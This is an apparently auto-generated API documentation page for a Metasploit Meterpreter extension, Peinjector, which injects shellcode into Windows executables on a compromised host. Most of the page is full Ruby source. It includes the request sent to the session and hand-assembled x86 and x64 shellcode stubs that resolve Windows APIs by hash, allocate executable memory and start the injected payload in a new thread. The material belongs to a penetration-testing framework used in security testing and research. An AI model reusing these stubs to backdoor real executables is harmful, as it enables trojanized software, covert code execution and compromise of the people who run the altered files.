Class: Rex::Post::Meterpreter::Extensions::Peinjector::Peinjector

Inherits:
Rex::Post::Meterpreter::Extension show all
Defined in:
lib/rex/post/meterpreter/extensions/peinjector/peinjector.rb

Overview

This meterpreter extensions allow to inject a given shellcode into an executable file.

Instance Attribute Summary

Attributes inherited from Rex::Post::Meterpreter::Extension

#client, #name

Class Method Summary collapse

Instance Method Summary collapse

Constructor Details

#initialize(client) ⇒ Peinjector

Returns a new instance of Peinjector.


22
23
24
25
26
27
28
29
30
31
32
# File 'lib/rex/post/meterpreter/extensions/peinjector/peinjector.rb', line 22

def initialize(client)
  super(client, 'peinjector')

  client.register_extension_aliases(
    [
      {
        'name' => 'peinjector',
        'ext'  => self
      }
    ])
end

Class Method Details

.extension_idObject


18
19
20
# File 'lib/rex/post/meterpreter/extensions/peinjector/peinjector.rb', line 18

def self.extension_id
  EXTENSION_ID_PEINJECTOR
end

Instance Method Details

#add_thread_x64(payload) ⇒ Object


95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
# File 'lib/rex/post/meterpreter/extensions/peinjector/peinjector.rb', line 95

def add_thread_x64(payload)

  stackpreserve = "\x90\x50\x53\x51\x52\x56\x57\x55\x41\x50" +	# AUTOMATED ASM: x64 = ['nop', 'push rax', 'push rbx', 'push rcx', 'push rdx', 'push rsi', 'push rdi', 'push rbp', 'push r8']
      "\x41\x51\x41\x52\x41\x53\x41\x54\x41\x55\x41\x56\x41\x57\x9c"	# AUTOMATED ASM: x64 = ['push r9', 'push r10', 'push r11', 'push r12', 'push r13', 'push r14', 'push r15', 'pushfq']

  shellcode = "\xE8\xB8\xFF\xFF\xFF"	# AUTOMATED ASM: x64 = ['call 0xffffffffffffffbd']

  shellcode += payload

  thread = "\x90" +                              # <--THAT'S A NOP. \o/	# AUTOMATED ASM: x64 = ['nop']
      "\xe8\xc0\x00\x00\x00" +              # jmp to allocate	# AUTOMATED ASM: x64 = ['call 0xc5']
      # api_call
      "\x41\x51" +                          # push r9
      "\x41\x50" +                          # push r8
      "\x52" +                              # push rdx
      "\x51" +                              # push rcx
      "\x56" +                              # push rsi
      "\x48\x31\xD2" +                      # xor rdx,rdx
      "\x65\x48\x8B\x52\x60" +              # mov rdx,qword ptr gs:[rdx+96]
      "\x48\x8B\x52\x18" +                  # mov rdx,qword ptr [rdx+24]
      "\x48\x8B\x52\x20" +                  # mov rdx,qword ptr[rdx+32]

      # next_mod
      "\x48\x8b\x72\x50" +                  # mov rsi,[rdx+80]
      "\x48\x0f\xb7\x4a\x4a" +              # movzx rcx,word [rdx+74]
      "\x4d\x31\xc9" +                      # xor r9,r9

      # loop_modname
      "\x48\x31\xc0" +                      # xor rax,rax
      "\xac" +                              # lodsb
      "\x3c\x61" +                          # cmp al, 61h (a)
      "\x7c\x02" +                          # jl 02h
      "\x2c\x20" +                          # sub al, 0x20

      # not_lowercase
      "\x41\xc1\xc9\x0d" +                  # ror r9d, 13
      "\x41\x01\xc1" +                      # add r9d, eax
      "\xe2\xed" +                          # loop until read, back to xor rax, rax
      "\x52" +                              # push rdx ;Save the current position in the module list
      "\x41\x51" +                          # push r9 ; Save the current module hash for later
      # ; Proceed to iterate the export address table,
      "\x48\x8b\x52\x20" +                  # mov rdx, [rdx+32] ; Get this modules base address
      "\x8b\x42\x3c" +                      # mov eax, dword [rdx+60] ; Get PE header
      "\x48\x01\xd0" +                      # add rax, rdx ; Add the modules base address
      "\x8b\x80\x88\x00\x00\x00" +          # mov eax, dword [rax+136] ; Get export tables RVA
      "\x48\x85\xc0" +                      # test rax, rax ; Test if no export address table
      "\x74\x67" +                          # je get_next_mod1 ; If no EAT present, process the nex
      "\x48\x01\xd0" +                      # add rax, rdx ; Add the modules base address
      "\x50" +                              # push rax ; Save the current modules EAT
      "\x8b\x48\x18" +                      # mov ecx, dword [rax+24] ; Get the number of function
      "\x44\x8b\x40\x20" +                  # mov r8d, dword [rax+32] ; Get the rva of the function
      "\x49\x01\xd0" +                      # add r8, rdx ; Add the modules base address

      # get_next_func: ;
      "\xe3\x56" +                          # jrcxz get_next_mod; When we reach the start of the EAT
      "\x48\xff\xc9" +                      # dec rcx ; Decrement the function name counter
      "\x41\x8b\x34\x88" +                  # mov esi, dword [r8+rcx*4]; Get rva of next module name
      "\x48\x01\xd6" +                      # add rsi, rdx ; Add the modules base address
      "\x4d\x31\xc9" +                      # xor r9, r9 ; Clear r9 which will store the hash
      #  ; And compare it to the one we wan
      # loop_funcname: ;
      "\x48\x31\xc0" +                     # xor rax, rax ; Clear rax
      "\xac" +                             # lodsb ; Read in the next byte of the ASCII funct name
      "\x41\xc1\xc9\x0d" +                 # ror r9d, 13 ; Rotate right our hash value
      "\x41\x01\xc1" +                     # add r9d, eax ; Add the next byte of the name
      "\x38\xe0" +                         # cmp al, ah ; Compare AL to AH (null)
      "\x75\xf1" +                         # jne loop_funcname ; continue
      "\x4c\x03\x4c\x24\x08" +             # add r9, [rsp+8] ; Add the current module hash
      "\x45\x39\xd1" +                     # cmp r9d, r10d ; Compare the hash
      "\x75\xd8" +                         # jnz get_next_func ; Go compute the next function hash

      "\x58" +                             # pop rax ; Restore the current modules EAT
      "\x44\x8b\x40\x24" +                 # mov r8d, dword [rax+36] ; Get the ordinal table rva
      "\x49\x01\xd0" +                     # add r8, rdx ; Add the modules base address
      "\x66\x41\x8b\x0c\x48" +             # mov cx, [r8+2*rcx] ; Get the desired functions ordinal
      "\x44\x8b\x40\x1c" +                 # mov r8d, dword [rax+28] ; Get the funct addr table rva
      "\x49\x01\xd0" +                     # add r8, rdx ; Add the modules base address
      "\x41\x8b\x04\x88" +                 # mov eax, dword [r8+4*rcx]; Get the desired func RVA
      "\x48\x01\xd0" +                     # add rax, rdx ; Add the modules base address

      # finish:
      "\x41\x58" +                         # pop r8 ; Clear off the current modules hash
      "\x41\x58" +                         # pop r8 ;Clear off the curr position in the module list
      "\x5E" +                             # pop rsi ; Restore RSI
      "\x59" +                             # pop rcx ; Restore the 1st parameter
      "\x5A" +                             # pop rdx ; Restore the 2nd parameter
      "\x41\x58" +                         # pop r8 ; Restore the 3rd parameter
      "\x41\x59" +                         # pop r9 ; Restore the 4th parameter
      "\x41\x5A" +                         # pop r10 ; pop off the return address
      "\x48\x83\xEC\x20" +                 # sub rsp, 32 ; reserve space for the register params

      "\x41\x52" +                         # push r10 ; push back the return address
      "\xFF\xE0" +                         # jmp rax ; Jump into the required function

      # get_next_mod: ;
      "\x58" +                             # pop rax ; Pop off the current modules EAT

      # get_next_mod1: ;
      "\x41\x59" +                         # pop r9 ; Pop off the current modules hash
      "\x5A" +                             # pop rdx ; Restore our position in the module list
      "\x48\x8B\x12" +                     # mov rdx, [rdx] ; Get the next module
      "\xe9\x57\xff\xff\xff"               # jmp next_mod ; Process this module

  # allocate
  thread += "\x5d" +                       # pop rbp
      "\x49\xc7\xc6"                       # mov r14, 1abh size of payload...	# AUTOMATED ASM: x64 = ['invalid']

  thread += [shellcode.length - 5].pack("V")
  thread += "\x6a\x40" +                   # push 40h
      "\x41\x59" +                         # pop r9 now 40h
      "\x68\x00\x10\x00\x00" +             # push 1000h
      "\x41\x58" +                         # pop r8.. now 1000h
      "\x4C\x89\xF2" +                     # mov rdx, r14
      "\x6A\x00" +                         # push 0
      "\x59" +                             # pop rcx
      "\x68\x58\xa4\x53\xe5" +             # push E553a458
      "\x41\x5A" +                         # pop r10
      "\xff\xd5" +                         # call rbp
      "\x48\x89\xc3" +                     # mov rbx, rax      ; Store allocated address in ebx
      "\x48\x89\xc7"                       # mov rdi, rax      ; Prepare EDI with the new address


  thread += "\x48\xc7\xc1"	# AUTOMATED ASM: x86 = ['dec eax', 'invalid'] x64 = ['invalid']
  thread += [shellcode.length - 5].pack("V")

  thread += "\xeb\x43"	# AUTOMATED ASM: x86 = ['jmp 0x45'] x64 = ['jmp 0x45']

  # got_payload:
  thread += "\x5e" +                       # pop rsi            ; Prepare ESI with the source
      "\xf2\xa4" +                         # repne movsb        ; Copy the payload to RWX memo
      "\xe8\x00\x00\x00\x00" +             # call set_handler   ; Configure error handling

      # set_handler:
      "\x48\x31\xC0" +                     # xor rax,rax
      "\x50" +                             # push rax            ; LPDWORD lpThreadId (NULL)
      "\x50" +                             # push rax            ; DWORD dwCreationFlags (0)
      "\x49\x89\xC1" +                     # mov r9, rax         ; LPVOID lpParameter (NULL)
      "\x48\x89\xC2" +                     # mov rdx, rax        ; LPTHREAD_START_ROUTINE  (payload)
      "\x49\x89\xD8" +                     # mov r8, rbx         ; SIZE_T dwStackSize (0 for default)
      "\x48\x89\xC1" +                     # mov rcx, rax        ; LPSECURITY_ATTRIBUTES (NULL)
      "\x49\xC7\xC2\x38\x68\x0D\x16" +     # mov r10, 0x160D6838 ; hash("kernel32.dll","CreateThread")
      "\xFF\xD5" +                         # call rbp            ; Spawn payload thread
      "\x48\x83\xC4\x58" +                 # add rsp, 50

      # stackrestore
      "\x9d\x41\x5f\x41\x5e\x41\x5d\x41\x5c\x41\x5b\x41\x5a\x41\x59" +	# AUTOMATED ASM: x64 = ['popfq', 'pop r15', 'pop r14', 'pop r13', 'pop r12', 'pop r11', 'pop r10', 'pop r9']
      "\x41\x58\x5d\x5c\x5f\x5e\x5a\x59\x5b\x58"	# AUTOMATED ASM: x64 = ['pop r8', 'pop rbp', 'pop rsp', 'pop rdi', 'pop rsi', 'pop rdx', 'pop rcx', 'pop rbx', 'pop rax']

  thread += "\xe9"	# AUTOMATED ASM: x64 = ['invalid']
  thread += [shellcode.length].pack("V")

  return stackpreserve + thread + shellcode
end

#add_thread_x86(payload) ⇒ Object


50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
# File 'lib/rex/post/meterpreter/extensions/peinjector/peinjector.rb', line 50

def add_thread_x86(payload)
  stackpreserve = "\x90\x90\x60\x9c"	# AUTOMATED ASM: x86 = ['nop', 'nop', 'pushad', 'pushfd']
  shellcode = "\xE8\xB7\xFF\xFF\xFF"	# AUTOMATED ASM: x86 = ['call 0xffffffbc']
  shellcode += payload

  thread = "\xFC\x90\xE8\xC1\x00\x00\x00\x60\x89\xE5\x31\xD2\x90\x64\x8B" +	# AUTOMATED ASM: x86 = ['cld', 'nop', 'call 0xc8', 'pushad', 'mov ebp, esp', 'xor edx, edx', 'nop', 'invalid']
      "\x52\x30\x8B\x52\x0C\x8B\x52\x14\xEB\x02" +	# AUTOMATED ASM: x86 = ['push edx', 'xor [ebx+0x528b0c52], cl', 'adc al, 0xeb', 'invalid']
      "\x41\x10\x8B\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61" +	# AUTOMATED ASM: x86 = ['inc ecx', 'adc [ebx-0x48f0d78e], cl', 'dec edx', 'xor edi, edi', 'xor eax, eax', 'lodsb', 'cmp al, 0x61']
      "\x7C\x02\x2C\x20\xC1\xCF\x0D\x01\xC7\x49\x75\xEF\x52\x90\x57\x8B" +	# AUTOMATED ASM: x86 = ['jl 0x4', 'sub al, 0x20', 'ror edi, 0xd', 'add edi, eax', 'dec ecx', 'jnz 0xfffffffb', 'push edx', 'nop', 'push edi', 'invalid']
      "\x52\x10\x90\x8B\x42\x3C\x01\xD0\x90\x8B\x40\x78\xEB\x07\xEA\x48" +	# AUTOMATED ASM: x86 = ['push edx', 'adc [eax+0x13c428b], dl', 'rcl byte [eax-0x1487bf75], 1', 'pop es', 'invalid']
      "\x42\x04\x85\x7C\x3A\x85\xC0\x0F\x84\x68\x00\x00\x00\x90\x01\xD0" +	# AUTOMATED ASM: x86 = ['inc edx', 'add al, 0x85', 'jl 0x3f', 'test eax, eax', 'jz 0x75', 'nop', 'add eax, edx']
      "\x50\x90\x8B\x48\x18\x8B\x58\x20\x01\xD3\xE3\x58\x49\x8B\x34\x8B" +	# AUTOMATED ASM: x86 = ['push eax', 'nop', 'mov ecx, [eax+0x18]', 'mov ebx, [eax+0x20]', 'add ebx, edx', 'jecxz 0x64', 'dec ecx', 'mov esi, [ebx+ecx*4]']
      "\x01\xD6\x31\xFF\x90\x31\xC0\xEB\x04\xFF\x69\xD5\x38\xAC\xC1\xCF" +	# AUTOMATED ASM: x86 = ['add esi, edx', 'xor edi, edi', 'nop', 'xor eax, eax', 'jmp 0xd', 'jmp far dword [ecx-0x2b]', 'invalid']
      "\x0D\x01\xC7\x38\xE0\xEB\x05\x7F\x1B\xD2\xEB\xCA\x75\xE6\x03\x7D" +	# AUTOMATED ASM: x86 = ['or eax, 0xe038c701', 'jmp 0xc', 'jg 0x24', 'shr bl, cl', 'retf 0xe675', 'invalid']
      "\xF8\x3B\x7D\x24\x75\xD4\x58\x90\x8B\x58\x24\x01\xD3\x90\x66\x8B" +	# AUTOMATED ASM: x86 = ['clc', 'cmp edi, [ebp+0x24]', 'jnz 0xffffffda', 'pop eax', 'nop', 'mov ebx, [eax+0x24]', 'add ebx, edx', 'nop', 'invalid']
      "\x0C\x4B\x8B\x58\x1C\x01\xD3\x90\xEB\x04\xCD\x97\xF1\xB1\x8B\x04" +	# AUTOMATED ASM: x86 = ['or al, 0x4b', 'mov ebx, [eax+0x1c]', 'add ebx, edx', 'nop', 'jmp 0xe', 'int 0x97', 'int1', 'mov cl, 0x8b', 'invalid']
      "\x8B\x01\xD0\x90\x89\x44\x24\x24\x5B\x5B\x61\x90\x59\x5A\x51\xEB" +	# AUTOMATED ASM: x86 = ['mov eax, [ecx]', 'rcl byte [eax+0x24244489], 1', 'pop ebx', 'pop ebx', 'popad', 'nop', 'pop ecx', 'pop edx', 'push ecx', 'invalid']
      "\x01\x0F\xFF\xE0\x58\x90\x5F\x5A\x8B\x12\xE9\x53\xFF\xFF\xFF\x90" +	# AUTOMATED ASM: x86 = ['add [edi], ecx', 'jmp eax', 'pop eax', 'nop', 'pop edi', 'pop edx', 'mov edx, [edx]', 'jmp 0xffffff62', 'nop']
      "\x5D\x90" +	# AUTOMATED ASM: x86 = ['pop ebp', 'nop'] x64 = ['pop rbp', 'nop']
      "\xBE"	# AUTOMATED ASM: x86 = ['invalid'] x64 = ['invalid']

  thread +=[shellcode.length - 5].pack("V")

  thread += "\x90\x6A\x40\x90\x68\x00\x10\x00\x00" +	# AUTOMATED ASM: x86 = ['nop', 'push 0x40', 'nop', 'push 0x1000']
      "\x56\x90\x6A\x00\x68\x58\xA4\x53\xE5\xFF\xD5\x89\xC3\x89\xC7\x90" +	# AUTOMATED ASM: x86 = ['push esi', 'nop', 'push 0x0', 'push 0xe553a458', 'call ebp', 'mov ebx, eax', 'mov edi, eax', 'nop']
      "\x89\xF1"	# AUTOMATED ASM: x86 = ['mov ecx, esi'] x64 = ['mov ecx, esi']

  thread += "\xeb\x44"  # <--length of shellcode below	# AUTOMATED ASM: x86 = ['jmp 0x46']

  thread += "\x90\x5e"	# AUTOMATED ASM: x86 = ['nop', 'pop esi']

  thread += "\x90\x90\x90" +	# AUTOMATED ASM: x86 = ['nop', 'nop', 'nop']
      "\xF2\xA4" +	# AUTOMATED ASM: x86 = ['repne movsb']
      "\xE8\x20\x00\x00" +	# AUTOMATED ASM: x86 = ['invalid']
      "\x00\xBB\xE0\x1D\x2A\x0A\x90\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06" +	# AUTOMATED ASM: x86 = ['add [ebx+0xa2a1de0], bh', 'nop', 'push 0x9dbd95a6', 'call ebp', 'cmp al, 0x6']
      "\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF" +	# AUTOMATED ASM: x86 = ['jl 0xc', 'cmp bl, 0xe0', 'jnz 0xc', 'mov ebx, 0x6f721347', 'push 0x0', 'push ebx', 'invalid']
      "\xD5\x31\xC0\x50\x50\x50\x53\x50\x50\x68\x38\x68\x0D\x16\xFF\xD5" +	# AUTOMATED ASM: x86 = ['aad 0x31', 'rcl byte [eax+0x50], 0x50', 'push ebx', 'push eax', 'push eax', 'push 0x160d6838', 'call ebp']
      "\x58\x58\x90\x61"	# AUTOMATED ASM: x86 = ['pop eax', 'pop eax', 'nop', 'popad']

  thread += "\xe9"	# AUTOMATED ASM: x86 = ['invalid']

  thread += [shellcode.length].pack("V")
  return stackpreserve + thread + shellcode
end

#inject_shellcode(opts = {}) ⇒ Object


34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
# File 'lib/rex/post/meterpreter/extensions/peinjector/peinjector.rb', line 34

def inject_shellcode(opts = {})
  return nil unless opts[:shellcode]

  request = Packet.create_request(COMMAND_ID_PEINJECTOR_INJECT_SHELLCODE)
  request.add_tlv(TLV_TYPE_PEINJECTOR_SHELLCODE, opts[:shellcode])
  request.add_tlv(TLV_TYPE_PEINJECTOR_SHELLCODE_SIZE, opts[:size])
  request.add_tlv(TLV_TYPE_PEINJECTOR_SHELLCODE_ISX64, opts[:isx64])
  request.add_tlv(TLV_TYPE_PEINJECTOR_TARGET_EXECUTABLE, opts[:targetpe])

  response = client.send_request(request)

  error_msg = response.get_tlv_value(TLV_TYPE_PEINJECTOR_RESULT)
  raise error_msg if error_msg
  return response.get_tlv_value(TLV_TYPE_PEINJECTOR_RESULT)
end